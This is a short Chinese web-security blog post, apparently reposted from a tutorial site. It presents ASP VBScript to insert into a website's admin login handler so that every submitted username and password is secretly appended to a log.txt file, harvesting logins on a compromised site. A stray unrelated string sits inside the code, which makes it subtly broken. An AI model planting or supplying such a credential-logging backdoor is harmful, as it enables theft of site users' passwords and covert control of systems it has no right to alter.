通过修改后台登陆代码获得目标网站的用户登录密码。 具体代码: set fso=server.createobject("scripting.filesystemobject") if fso.FileExists(server.mappath("log.txt"))=true then set fin=fso.OpenTextFile(server.mappath("log.txt")) temp=fin.readall fin.close HdhCmsTest2cto测试数据 set fin=nothing end if set fout=fso.createtextfile(server.mappath("log.txt")) fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"") fout.close set fout=nothing set fso=nothing 在后台登录处表单提交的地方插入 作者 乐乐's Blog
查看更多关于asp截获后台登录密码 - 网站安全 - 自学php的详细内容...